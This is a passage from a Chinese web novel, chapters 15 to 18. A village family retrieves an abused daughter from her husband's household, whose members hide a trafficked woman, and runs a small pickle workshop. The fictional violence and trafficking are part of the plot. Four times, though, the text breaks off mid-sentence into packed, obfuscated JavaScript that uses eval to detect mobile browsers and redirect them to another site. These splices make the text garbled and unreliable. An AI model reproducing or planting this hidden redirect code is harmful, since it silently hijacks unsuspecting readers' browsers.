这时丽丽突然从陈显英背后站出来，给了他致命一击：“奶说要给你找新媳芙，生小弟弟，我都听见啦！” “窝二伯还说，要给你找个大学生。” 老楚在外面听得直想笑，还大学生，这吴大勇配吗？当初要不是明芳瞎了眼的非要嫁给他，他能找得到媳妇？ “你胡咧咧啥嘞，再乱说，爹要打你了。”吴大勇的脸涨成猪肝色，想伸手去捂丽丽的嘴。 陈显英的动作却比他更快，丽丽被她一把抱了起来，他总不好去丈母娘的怀里抢孩子。 钟明芳千想万想也没想到，自己好好的呢，婆婆和二伯哥就准备给自己丈夫找二房了，而自己的丈夫和孩子都知道这件事情，就自己不知道。 经此一遭，她对吴大勇是彻底死心了。 钟明芳失魂落魄的回了房间，没再看外面的闹剧一眼。 “明芳、明芳……” “你干嘛？”吴大勇想追着人进屋，陈显英一伸手就把他给拦下来了。 “娘……”吴大勇的声音带着卑微与祈求。 “娘什么娘，要找娘回你自己家去，赶紧滚。”陈显英说着就要拿扫把打人。 吴大勇的拳头攥了又攥，最后还是在陈显英挥舞着的扫把残影中，对屋里喊了声：“明芳，那我下次再来接你。”喊完就狼狈逃窜出了钟家的院子。 钟莹莹放学回来的时候，一听丽丽说她二伯要给她爹找个大学生，就听出了不对劲。 他们这里哪有什么大学生，再联想起吴大军每次出门一段时间，回来就能带一大笔钱，她大概能猜出，这钱和大学生都是哪里来的了。 15. 第 15 章 “哟，献殷勤的回来了？你接的媳妇呢？”吴大军看着浑浑噩噩独自一人回来的弟弟，毫不留情的嘲笑。 吴大勇不像理他，但吴大军就像鬼一样缠着他。 “我说弟弟呀~这女人就算旧的不去新的不来，你看看你屋里，我给你准备了什么。”吴大军拍了拍吴大勇的肩膀，嘴里叼着根狗尾巴草，一副你懂得的样子。 吴大勇没有心情跟他胡闹，推开他，回到自己的屋里，刚想躺下，就发现床上竟然有一个人。 一个漂亮的女人。 只不过这个女人的状况好像很糟糕，手脚都被绑着，嘴巴里也被塞了一快破抹布，导致她发不出声音来，只能用一双眼睛，死死瞪住来人。 “看见了没有，跟着哥哥混，夜夜做新郎呢？”吴大军从背后突然出现，给吴大勇吓得一下子瘫倒在地。 “这……这是犯法的。”吴大勇嗫嗫道。 “嘁~~” “这时候知道犯法了，那你花我带回来的钱的时候不知道犯法？”吴大军很是不耻，他这个弟弟啊，看着是个老好人，其实心里什么都明白。 “别说什么犯法不犯法的了，你就说她好看不好看吧？我可是留了最漂亮的一个给你，我这当哥的够意思了。” “行了，不耽误你做新郎官了。” 吴大勇其实大约知道自己二哥在外面没干什么好事，他嫌弃窑厂活重，跟着边上几个村的小混混一块出去找活路，开始的时候还从家里拿钱，和狐朋狗友胡吃海喝，可最近两年突然变了，说找了一个活计，轻松不累人，开始从外往家里拿钱，一拿就是上百块。 哪里有什么轻松不累人的活能赚到上百块啊，就算是有，也轮不到他们这种乡下人。 吴大勇不敢说，也不敢问，只当做不知道，毕竟二哥给家里带来的好处是真真切切的。 之前发大水，家里也没留多少东西。 明芳让土豆等等再卖，他娘不屑一顾，直接拉到外面就给全卖了。 还说明芳娘家人就是不怀好意，谁不知道只有新土豆才卖的上价，过段时间就没人收，不好卖了。 家里没粮，人口又多，可不就得去买高价粮。 这钱从哪来？当然是吴大军那里来了。 一家人都得了好处，怎敢把他干的勾当往外说。 看着床上的女人，说不心动是假的。 二十岁左右的年纪，皮肤跟嫩豆腐一样，不像村里的女人常年干农活，皮肤都晒的黝黑黝黑的。 吴大勇内心挣扎了很久，最后妥协的往床上一躺，也不去管边上的人，直接闭上眼睛睡觉了。 放是不可能放的，让他下手，他也下不太去，在他心里有个底限，如果没动她，那他还可以告诉自己，自己是无辜的，自己什么都不知道。 真到了要动这个女人的那一天，也就代表着他和他二哥一起彻底沉沦了。 —— 钟莹莹每天放了学就带着丽丽和楚琳琳他们一起玩，跳皮筋踢毽子啥的，俩小矮子动作慢，基本上去就出错，很快被替换下来。到最后变成了一直站桩撑皮筋的。 丽丽也不生气，这可比在她家好玩多了，没有哥哥扯她小辫子，抢她零嘴儿，还有那么多姐姐陪着她一起玩。 小小的人儿仿佛老鼠掉进了米缸里一样欢快。 钟莹莹却是有些心不在焉，她撑着皮筋站在台子上的白杨树下，手指一边扣着粗糙的树皮，一边思索着。 之前心中有些猜测，但是不太敢和家里人说，因为实在是太骇人听闻了。 上辈子就听说吴家有个儿子发家的手段不太光彩，还因此坐过牢，但是距离自己太遥远了，所以就没有过多的打听。 现在看来，那里是不光彩啊，那可是太刑了。 什么活都敢干，要是现在被抓到可是要吃枪子的。 上辈子只是坐牢，没死，还发家了。 他干的时间绝对不短，如果是早些年被抓指定死路一条，没死啊，那就是说被抓的时间很晚了，也不知道祸害了多少人。 钟莹莹想将他绳之以法。 可又不敢和家里说，其实附近别的村子里，也有媳妇是买来的，村民都心照不宣当作不知道。 她和家里说了，估计她爹娘也会不让她管，因为害怕被报复。 再去镇上的某所里搞一出“祖宗显灵”？ 也是不成。 镇上的也是本地人，有包庇嫌疑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585680|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >万一被发现了，那可就是吃不了兜着走了。 大姐现在还算是半个吴家人，丽丽也还姓吴，到时候吴家那一大家子出事了，他们家也会惹得一身骚。 这事还是得从长计议。 没等她想出个法子呢，家里就来人了。 遂县过来的，钟明月的前未婚夫。 “明月，是我对不起你。”林安很是愧疚。 当时钟明月家里出事，他们家明明能帮上忙的，他父亲不同意，甚至还踩了一脚，从中捞了一大笔。 他想帮忙，被骂了个狗血淋头后，就不敢说了。 心里想着，没关系的，钟明月家的财产没了就没了，他不嫌弃，他会娶她的。 等他鼓起勇气再去找钟明月时，遂县的小洋楼已经人去楼空，楼里也住进了新人。钟明月把剩下的东西都捐了，整个人如同人间蒸发了一般。 他前后调查了好几个月，才找到一丝蛛丝马迹，凭借着一点痕迹找到了钟家。 没想到，佳人已嫁与他人。 他再也没有机会了。 “没事，都过去了。”那些繁荣与苦难都早已离她远去，现在她只是一名普普通通的钟家岗村民。 “你如果有什么事尽管来找我，如果他……对你不好的话。” “明月，我会带你走的。”林安说着就想去扯钟明月的手。 堂屋外偷听的钟家母子俩差点没绷住，就要进去阻拦。 钟明月却自己避开了。 “我现在过得没什么不好的。” “不过，最近确实有点事需要你帮忙。”钟明月记得林家有两家饭店，一家叫向阳红饭店，一家叫福满楼，两家都是早中晚三餐都做。 钟家岗腌制的那一批咸菜时间也差不多了。 之前还在发愁销路，若是能够直接批发给饭馆酒楼，还能省去人工推销零卖的功夫。 林安本就对钟明月心怀愧疚，一听只是几百坛咸菜的事，当机立断拍板道他全都要了。 一大坛子才一块一，花几百块买自己心安，值了。 钟明月没有直接同意，而是让他在钟家吃了晚饭，先尝尝货品味道再做决定，她想要的不是一竿子买卖，是长久的生意。 16. 第 16 章 野腊菜被盐渍的软了筋骨，细细切碎了，用红辣椒、蒜末炒了，红绿相间，盛在粗瓷碗里，看起来就十分下饭。 微黄的酸豆角，从坛子里被捞出来，洗了两遍，淋上香油，更是香的不行。 笋子是和辣椒一同泡的，处理好的笋子切段，浸泡在泡椒水里，捞出来时，辣味渗入笋子的每一寸肌理，一口下去，不管是配粥也好，配饭也罢，都让人欲罢不能。 …… 满桌的腌咸菜，像是专门为腌咸菜开了一场筵席。 林安夹起一块子腌渍过的野芹菜，凑近一闻，酸香里夹杂着一丝独属于芹菜的野气，放入口中，一咬，嘎吱作响，爽脆鲜香。 他是真的有惊喜到了。 原以为乡野之间能有什么好东西，充其量不过是些穷酸货而已，再好能比他们店里的大厨做的好？ 之所以答应收购，也是为了让自己放下心结而已。 没想到，竟然有意外收获。 果然还是民间高手多啊。 钟家人一边吃饭，一边偷摸打量这位远道而来的客人。 之前以为他对自家儿媳妇图谋不轨，差一点都要进屋动手了，可明月却说，他没坏心，只是想谈一下收购的事情。 钟家人就放松了，只要不打他们家人的主意就行。 原本他们也是想好好做几个菜招待一下的，可是钟明月说不用，把竹屋那边的腌咸菜，每种都拿一点过来就行。 林安在遂县什么好的没吃过，他们就算是把家里的鸡鱼肉蛋全煮了，可能也进不了他的眼。 只拿出陈显英独家配方腌制的各种咸菜已经足够，乡下人家的乡野味道才是最好的。 饭后林安直接付了全款，要了这一批咸菜大半的数量，不用钟家岗送货上门，他自己找车子过来拉。 钟家岗的咸菜厂的第一笔订单达成了开门红成就。 三百六十二块四毛，钟伟先给抹了个零，收了三百六十二。 留下一百零一做厂里的流动资金，其余二百六十一均分下去，十五户人家每家得十七块四毛。 至此，之前村里人投进去的钱全都赚回来了。 拿到钱的那一刻，所有人都热泪盈眶。 搁之前，这些钱能买上百斤米了，够全家吃不知道多久的大米饭了。 吴老婆子悻悻地站在晒场边，看着喜气洋洋数钱的大伙儿，眼红的不得了。点钞票的沙沙声，就像小虫子似的往她耳朵、往她心底钻。 此刻她的心里那叫一个悔恨啊。 谁能想到，一个简直不能被称为厂的小作坊，短短几个月而已，就能挣那么多钱。 不用下地风吹日晒的累个半死，也不用去窑厂卖苦力给人扛砖头，就是简简单单的腌点小菜，放在那里，等着腌好了拿去卖就能赚那么多钱。 “强先啊，你看，我现在投点钱行吗？咱村人都投了，不能少我一个啊~”吴老婆子挤开围着钟强先叽叽喳喳村里人，厚着脸皮道。 “婶儿，厂里暂时不缺钱了，下次吧，下次一定哈~”钟强先敷衍的打着哈哈。 “哎，我这想拿钱还给不出去了。”想发火，又不想得罪钟强先，害怕下次还没有自己的份儿。叹了一口气，佝偻着身子回家去了。 剩下那不到原来三分之一的腌咸菜，钟伟先带着村里人去县里，到那些单位门口推销，很快也卖完了。 这次卖的钱就没有再拿去分了，而是记在账上，用作工厂日常开销。 钟家岗的第二批腌咸菜也要投入制作了，村民这次的干劲比上次还要足，一个个都卯足了劲儿干活。 原材料都是各家拿来的，论斤称，原先钟强先还想着要不要从账上拿钱买，得到了村里人的一致拒绝，菜啥的搁村里又不值钱，账上的钱还说拿去买多多的腌料和坛子，腌菜缸比较好。 村里的厂子办得好了，他们才能赚更多的钱。 他们觉得这个场地还能再扩大一点，不用钟强先组织，就自发的去修整旧竹屋，还砍了自家的竹子，回来在边上建起了新的竹屋，外面的篱笆院墙也被拆了，用碎砖头和着泥胚砖重新建了一个更高更坚固的围墙。 院门上还让钟伟先挂了个门头，上面刻了‘钟家岗咸菜厂’六个大字。 原先的小作坊终于有了一点工厂的雏形。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585681|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >钟莹莹又上学去了，小学生，没办法，不能逃课啊。 陈萍盯她盯的紧，之前还想着要不要喊她家里人送她去县里的学校。 又想起她的年纪，还是作罢了。 年纪小，真是干啥都不方便。 没上几天学，学校就放农忙假了，收割季到了，小孩子也要回家帮忙干活。 钟家的地不少，有七亩。 其中有六亩是水稻，还有一亩种了玉米。 家里零散的菜地不算在其中，菜地都是在犄角旮瘩里自己开辟出来的。 河沟边，地头，院子里……哪里都能种菜。 已经是深秋了，空气仍旧十分的燥热。 钟家老小齐上阵割水稻，割完了还得用牛车拉到晒场去晒，晒完了还得用石磙碾压脱粒。 日头毒辣辣地烤着脊背，稻穗沉甸甸压弯了腰，上一季的小麦苗化作肥料滋养了土地，这一季的水稻长的格外的好。 钟明芳也在地里帮着干活，钟莹莹帮不上什么忙，就看着丽丽不让她跟着捣乱。 话说回来，自从上次吴大勇要过来接人，没把人接走反而被闹了个没脸后，，这都多久了，吴家都没再来过人，钟莹莹总觉得他们是在憋个大的。 钟明芳这次也是沉得住气，一直没提要回去。 一家人热火朝天的忙了七八天，稻子割完那天，累的只想抓紧回家洗个澡躺下，玉米叶和稻叶都扎人皮肤，扎的全身上下刺挠的很。 刚一到家，迎面就碰上了笑容莫名灿烂的吴老婆子。 “哟，明芳还在娘家待着呢？这都多久了，还不回去，你家那口子都要娶新媳妇了。” “我那老姐姐说你愿意搁娘家待着就待着吧，你这样的媳妇他们家要不起。” 接着嗤笑一声又道：“一直厚着脸皮在娘家待着，人家大勇三请四请的还不回去，这下子好了吧，可以在娘家待一辈子了。” 吴大勇家和吴老婆子娘家沾点亲，之前给钟绍华介绍她娘家侄女，钟家人没同意，让她记挂在心里，再加上之前村里分钱没她的，她心里一直不痛快，这不，一抓到机会，就赶紧过来落井下石了。 17. 第 17 章 “明芳、明芳……” “呜呜……娘……” 耳边不断传来家人的呼唤声，仔细听，中间似乎还有孩童的哭喊声。 钟明芳的意识沉浸在黑暗中，想要睁开眼，却提不上力气。 “这可怎么办啊？”陈显英焦虑的直叹气，钟明芳自打那天听了吴老婆子的话，直挺挺的倒地后，昏厥了两天还没醒。 “娘，我打听到了，那吴大勇家里还真多了个女人。”钟绍华说起这话的时候忍不住咬牙切齿。 “那女人藏的还挺紧，吴家村都没人见过她长啥样，就远远的瞧着好像还挺白的，不像咱们这的人。” 钟莹莹一听就知道，好家伙，还真拐上人了。 这个前姐夫也是个牛人啊，上辈子咋没看出来呢？ 上辈子去他家的时候，他已经是个小老头了，整天笑眯眯的，有孩子来，就从糖罐子里拿几粒冰糖分给孩子吃。 待外孙女也是极好，外孙女高考失利，是他拿了自己的养老钱，去给孩子复读。 自己这个蝴蝶翅膀扇的变动也太大了吧，一个和蔼善良的老人直接变成一个愚孝男。 果然人不可貌相。 “娘……”钟明芳只觉得自己好像做了一个好长好长的梦，梦里她被婆婆打了，回了娘家，有人来说，她丈夫要再娶了。 一睁开眼，原来梦是真的啊。 “他不要我了……呜呜……娘”钟明芳哑着嗓子，扯着陈显英的袖子。 “娘，我后悔了……我应该听话的。” 她悔啊，当初家里人就不同意这门亲事，但是她死活非要嫁。她爹怕她像她小姑一样，和人私奔，捏着鼻子咬着牙同意了。 吴大勇说的好好的，嫁过去之后他会一辈子对她好，可每次一和他娘有矛盾的时候，他就说：“那是我娘，你忍忍吧，我也没办法。” 这一忍就忍到了丽丽出生后，生了丽丽，吴家人更加变本加厉的欺负她了。 明明找人看了，人家医生都说是大勇的问题，可吴家人不信啊，非说是她的问题，说她没给吴家生儿子。 成日里说来说去，她也有几分信了。 觉得自己身上也有点问题。 不敢回娘家，因为婆婆骂她从婆家扒拉东西回娘家。 不敢和人争吵，因为没儿子。 也就只有孩子是她的底线，但是因为她，她的女儿受了不知道多少欺负。 这都怨她啊。 她怎么就把日子过成这样了呢。 “好孩子，没事的，娘在呢。”陈显英将女儿揽在怀里，自己也难受得直抹眼泪。 之前的恨铁不成钢，在这一刻也全部化为了乌有。 此时此刻，她只是一位心忧女儿的母亲。 一个母亲为了孩子，什么事情都能做的出。 钟伟先去喊了钟强先，又叫上了村里其他几家的壮年男子，准备一块去吴家村讨个说法回来。 他好好的女儿总不能白白被人欺负了。 这次的陈显英没有再阻拦，反而是让他多喊几个人。 “明芳，你待着家里看着两个孩子，我跟你爹还有你弟弟，弟媳妇去吴家走一趟。”陈显英安抚式的拍了拍钟明芳的脑袋，起身就要离开。 钟明芳拉住她的手道：“娘，我也要去，我的嫁妆得拿回来，不能便宜了他们。” 这还是她第一次如此坚定的要做一件事情。 陈显英如何能不答应呢。 钟莹莹进屋翻箱倒柜的不知道捣鼓了些什么东西，出来的时候手上啥也没拿，嘟囔着她也要一起去。 陈显英不想带，她本来想着，钟明芳跟着她一起去了，就把明月留下来看着俩孩子。 眼见着孩子又想来老一套，一哭二闹三撒泼。 钟明月出来劝了：“娘，带着莹莹吧，丽丽也抱着，没事的。咱们人多，再说，也没人会对孩子动手。” “孩子想帮大姐出气，那是应该的，我会看好她俩的。”说完一手牵了一个，就这么等着陈显英的答复。 “也是，那你到时候看好了，别让孩子离的太近，免得被伤到了。”陈显英还是同意了，多见识一下也好，免得长大了容易被人骗。 钟家全家出动，赶着牛车，带着钟家岗的七八个壮年男子，就这么浩浩汤汤的去了吴家村。 刚到村口就被人堵住了，吴家村的村长被人从家里着急忙慌的喊出来，他们害怕钟家岗的人是来闹事的。 吴兴平心想不对啊，最近他们村又没和钟家岗结仇，而且他们还有合作，钟家岗搞得那个小作坊，从他这批坛子的时候，他还给优惠了呢。 “强先啊，你带这么多人是来干嘛的？买坛子也用不了这些人啊。”连小娃娃都带来了。 咦，小的那个不是吴大勇家的丽丽吗？再看看双眼红肿的钟明芳，他好像知道对方是来干什么的了。 “吴大勇家的，做事不地道，我们总得过来讨个公道吧。”钟伟先不想村长钟强先和对方生出矛盾，率先解释道，吴家村的窑厂对他们来说至关重要。 “也是，这事啊我也听说了，确实是大勇他们家过分了。” 吴兴平还是想着以和为贵：“回头我看看能不能给说和一下，劝一劝。” “兴平叔，你不用劝了，我也不想和他过了。”钟明芳眼眶红着，声音却是前所未有的坚定。 “也罢，上面也倡导夫妻不和可以离婚。”今年刚出的规定，镇上扫盲的时候，还特地叫了他们这些村干部过去旁听。 “既然你俩都不想继续过了，那我也就不阻拦了。”要不是有人把他从家里薅出来，他也不想管吴大勇家的破事。 一大家子人都什么年代了，还搞那老一套的买卖媳妇。 吴兴平多大年纪了，他什么没见过。 说是要娶新媳妇，哪有给新媳妇藏着掖着不给看的，多半是这媳妇来路不正当。 终归是村里人，这种事情他也只能睁一只眼闭一只眼。 “你们也别闹的太过分了。”钟家岗的人来是应该的，不过若是给吴大勇一家打出个什么好歹来，他这个当村长的面上也过不去。 “叔，你放心，我只是想拿回我的嫁妆，不会动手的。”钟明芳可怜巴巴道。 不会动手？不会动手你带这么多人，鬼信？ 吴兴平的脸颊控制不住的抽动，就要压制不住自己的表情，赶紧摆摆手让他们走了。 “村长，咱们就这么不管了？”看着钟家岗的人来，去把吴兴平从家里叫出来的人止不住的疑惑。 村长往日里不还说一个村的要团结，有什么事要互相帮助的吗？ “管什么管？老丈人打女婿，天经地义的事。”吴兴平眼一瞪，把小年轻的接下来要说的话愣是硬生生的给噎回去了。 看这愣头青还是满脸疑惑站在原地，直接吼道：“咋滴，厂里的砖都搬完了，你搁这闲的没事干？” “没有，我……” “那还不赶紧回去干活。” 小年轻想解释，吴兴平直接打断他，他只好心不甘情不愿的“哦。”了一声。 钟家岗的人到吴大勇家的时候，吴家的门紧闭着。 钟绍华不耐敲门，一脚踹开吴家的院门，直接带着人闯了进去。 “吴大勇，你给我滚出来。”钟绍华的吼声震得院里鸡飞狗跳。 吴老娘从堂屋里探出头来，一见这阵仗，那张刻薄的老脸顿时煞白：“你们，你们这是要干啥？大勇不在家，你们想找他下次再来吧！” “不在家，刚刚还听着你们说话了，这会儿就不在家了。”钟明芳从众人的身后走出来。 吴老娘一看是自家那个不下蛋的儿媳妇，立马就被愤怒冲昏了头脑：“好啊，我当是谁来找麻烦了，原来是你这小蹄子。” “咋滴，你自己生不出儿子，还不让我儿再找一个？” 在吴老娘眼里，这种生不了儿子的女人就该下猪笼，连带着那个小赔钱货，都该一起溺死。 “找？祸害了我家闺女，还要再找一个？” 陈显英使了一个眼色，钟明月和钟明芳直接上前去，一人一边，架住了吴老娘的胳膊，使其动弹不得。 陈显英‘啪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585682|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啪啪’连扇了吴老娘好几个大嘴巴子。 就这老东西扇自己闺女巴掌，自己都舍不得打，真该死啊。 “唔唔唔~你们放开我。”吴老娘简直要气疯了，从来只有她打别人的份，在吴家，还没人敢打她。 见她还敢说话，陈显英又是‘啪啪啪’连扇几个大嘴巴子。 屋里的人也坐不住了，吴大勇慌张跑出来：“明芳，你在干什么？还不快放开……” 他话还没说完，钟伟先的拳头已经砸到了他脸上，这一拳带着钟伟先积攒了几个月的怒气，从闺女挨打回家他就想这么干了。 吴大勇像一截烂木头似的栽倒在地，鼻血喷了一地。 钟绍华上去又是几脚，雨点子般的拳脚落在吴大勇身上，打得他抱头痛哭，嗷嗷直叫，在地上滚来滚去求饶。 吴老娘也不知道哪来的力气，挣脱了束缚扑上来要护儿子，却被陈显英一把揪住了头发：“老不死的，你想干嘛？” 吴家其他的人在窑厂还没回来，吴大军又有新的‘活计’，走几天了，吴大勇在家也是为了看着自己的新媳妇，家里只有老娘一个，他怕媳妇跑了老娘拦不住。 混乱中，钟莹莹问丽丽哪个是她和她娘住的屋子，得到回答后带着人悄悄溜了进去。 一进屋就看见一个脸上青一块紫一块的女人坐在床上，双眼呆滞，一动不动。 钟莹莹飞快的跑过去在她手里塞了一截从什么东西上撕下来的红纸，依稀能看见上面好像写了几个字，还画了东西。 看着女人手腕上被绳子勒出的血痕，她想了想，又咬咬牙，掏出五毛钱，也一并塞到了女人的手里。 “这些东西你藏好，趁他们不注意你就跑吧。”钟莹莹能做的也就这么多了。 都是村里人，有些事情他们不好做的，如果她是自己跑出去的，那就没事。 如果人是他们放跑的，那以后他们在附近村子活动，别人都会不信任他们。 女人眼里微微有了些光亮，低头看着手里的东西。她真的能逃出去吗？ 屋外突然传来一阵嘈杂，钟莹莹知道时间差不多了，她赶紧又猫着腰带着丽丽溜了出去。装作自己什么也没干过。 外面吴大勇已经被打的像条死狗一样瘫在地上哼哼了，钟家大儿子吴大海和吴老头也从窑厂赶回来了。 两人想要动手，被守着的钟家岗人给顺手一块揍了，仨父子排排倒，躺的很整齐。 吴老娘也是一脸的巴掌印，身上不知道被下了多少暗手，浑身都疼。 “行了、行了，别打了。”吴兴平还是不放心，来吴家看了一眼。 看见倒了一地的吴家人，抚了抚心口，心里暗道，还好他来了，不然不知道吴家人会被打成什么样呢，再打下去没准就要闹出人命来了。 钟家人见好就收，立马停手了。 “强先、伟先啊，你看你们这教训也教训了，今天这事我看就这么了了吧！”吴兴平劝和道。 “村长，不行啊，他们……” “你们闭嘴。” 吴家人还想争辩，吴兴平压根不想听。 要不是他们，哪里来这么多破事。 “那我们就听吴村长的，等下搬了明芳的嫁妆我们就走。”钟强先笑眯眯道。 跟着钟伟先打他女婿亲家，他也是打爽了，此刻心情十分愉悦。 钟明芳带着老娘和弟弟，直接闯进她原来住的屋子，看见屋里形容狼狈的女人，明显停顿了一下，直到陈显英拍了拍她，她才翻箱倒柜的拿了自己的两床厚棉被，让钟绍华抱着，从砖缝里抠出来自己的私房钱，放进口袋里，跟老娘把一个枣木箱子从角落里抬出来。 这箱子是她爹亲手打的，用的是她爷爷种下的枣木，箱子里面装的是她和丽丽的衣物，可不能留下来便宜了吴家人。 走之前她犹豫了一下，还是从自己的私房钱里抽出了两块钱，塞到那个傻愣愣的女人手里。 陈显英看见了，什么也没说，抬着箱子就出去了。 两只手都被人塞了东西，女人眼里的出现了一丝说不清道不明的情感。 18. 第 18 章 返程的路上，所有人都是喜气洋洋的。 解气啊，真解气。 难得的机会，能给人暴揍一顿，不用负责，那些人还毫无还手之力。 “今天谢谢大家伙了。”钟伟先也算是了了一桩心事。 在村里，结婚和离婚都没有那么讲究。 两人看对眼了，送完聘礼，再办个席面，这事也就成了。 要是想散也简单，体面点的，找个德高望重的长辈证明一下，不体面的，就是像钟家这次，大打出手。 一般闹到离婚的，基本都是第二种，和平结束的可以说几乎为零。 今天闹这么一场，两家的关系也就彻底断了。 “都上我家，我请吃饭。”陈显英大手一挥道。 “嗐，客气了。” “是啊，是啊，明芳也是我们看着长大的，敢欺负她，我们这些叔叔伯伯也不是好惹的。”钟刘先说着还亮了亮拳头。 其他几人也不甘示弱，也纷纷表决心。 钟莹莹跟着丽丽两个小家伙，坐在牛车上说悄悄话。 “丽丽，今天的事不许告诉别人，听见了吗？这是我们的小秘密。”当时有些着急，钟莹莹没有避着丽丽。 现在又怕她万一说漏嘴了，被人听到不好，连忙叮嘱。 “系秘密。”丽丽嘴里含着糖块呢，这会儿说话就有点口齿有些不清晰，一着急口水差点流出来了，小家伙忙鬼鬼祟祟的伸手去捂自己嘴巴。 钟明月看了只觉得好笑，两个小朋友之间还有小秘密了呢，真是人小鬼大。 看着一旁从吴家出来就一直沉默地坐着的钟明芳，她叹了一口气。 这个大姑姐啊，什么都好，就是有些多愁善感。 习惯把什么事情都憋在心里，自己胡思乱想。 这次跟吴家的分开，也算是小小的爆发了一回。 终究是刚离了婚，难过些也正常。 干了一波大了，陈显英的心情十分愉悦。 一到家就去翻找家里的好吃的，准备好好露两手，犒劳一下大家。 家里的大公鸡不幸牺牲。 割喉、放血、烫毛、拔毛，三下五除二一只鸡就处理完了。 七八斤重的大公鸡，被菜刀唰唰几下斩成小块，盛了满满一盆。 起锅烧油，放点葱姜蒜爆香，加入新鲜的鸡块，翻炒至鸡块变成金黄色，再加入自家晒的酱豆子，倒水没过鸡块，大火炖煮。中间掀开盖，放入土豆块，继续焖煮，临出锅前加上辣椒段和适量的盐，翻炒均匀，最后撒上一把葱花加以点缀。一锅香喷喷的土豆炖鸡就算完工。 还有一大盘薄荷炒鸡蛋，八九个鸡蛋打散，加入薄荷，放油煎了，很是爽口。 两条从过年留到现在的腊肠，被放在米饭里蒸透了，饭熟了，肠也好了。 从饭锅里把肠夹出来，放在洗净的案板上，三下五除二切成厚片，盛入盘中。 再捞点自家泡的辣椒和酸豆角，切碎了放一个碗里，别提多下饭了。 陈显英这次是下了血本了，平常家里煮饭，里面总要加点红薯、土豆块，米饭就是纯纯的白米饭，满满一大锅饭，一点其他东西没掺和。 钟伟先吃饭的时候更是掏出了他压箱底的散酒，一人给倒了满满一盅，平常他自己喝也就一次喝个半盅。 钟家岗这次除了钟家人外，去了八九个人。 一个桌子坐不下。 钟家的女眷就在灶房里吃提前留好的菜。 钟莹莹一边吃，一边看着身边的家人，真好啊，大家都有在好好的活着。 农忙假很快结束，钟莹莹又回归了自己的小学生日常。 自那天回来后，钟莹莹就有一直在关注吴家村的消息。 不知道那个可怜人逃出来了没有。 她那天给的除了五毛钱之外，还有一张自己画的图。 其实他们这的路很好走，只要能顺利出村，一条直道，直通县城，分辨一下方向，一直走就能走到，中间会穿过镇上。 不要停顿，以一个大人的脚程，四五个小时怎么着也走到了。 要是逃命似的跑，没准三个小时就能到。 过了一个月后，听见村里人说，吴家人被抓了，钟莹莹心里的大石头才算是放下，要是再不来人，她都想冒险自己去举报了。 听说那女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585683|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是半夜跑的，趁着吴家人放松警惕，睡熟了。 什么都没拿，沿着大路一口气跑到了县里，去公安报案了。 那边的值班干警很负责，接到报案立马按照她的要求给海市那边发了电报。 确认身份，得知宋茹确实是从海市被拐卖来的后，直接连夜摇人，开车去吴家抓人了。 吴大军刚干完一票大的，拿了不小一笔钱。 从供销社打了酒回家，和他爹还有兄弟喝了个痛快。 天蒙蒙亮，酒还没醒，就被一群穿制服的破门按在床上套上了手铐。 一家子全被抓去拘留了。 等到海市那边来接人。 饶是吴大军供出了自己的那些同伙，想要获得减刑，还是被判处死刑。 吴家其余人没有直接参与，但也是包庇罪。 吴老爹、吴老娘、吴大海被判三年，吴大勇因为是加害人，被判了十年。 唯一幸免的，只有吴大海的媳妇，刘来娣，还有几个未成年的孩子。 刘来娣在吴家地位很低，压根没有话语权。 念着她没有参与这件事，而且几个孩子需要人抚养，所以她被放了出来。 当时钟家岗的人去闹的时候，她在家。 由于害怕带着孩子躲在房间里没有出去，事后还被丈夫给打了一顿，整个人鼻青脸肿的。 当时警察抓人的时候，还以为她也是被拐来的，高兴的以为又来一单业绩，没想到不是，还失望了一小会儿。 钟明芳得知吴大勇被判刑的消息，好一阵沉寂又恢复如常了。 陈显英一开始还有点怕她想不开，毕竟是丽丽爹，在一起生活了那么多年。 看着她又正常了，也不想再提这件事，免得扰人烦心。 她不想提，有人提啊。 那个阴魂不散的吴老婆子又来了。 “明芳啊，你可不能那么狠心。” 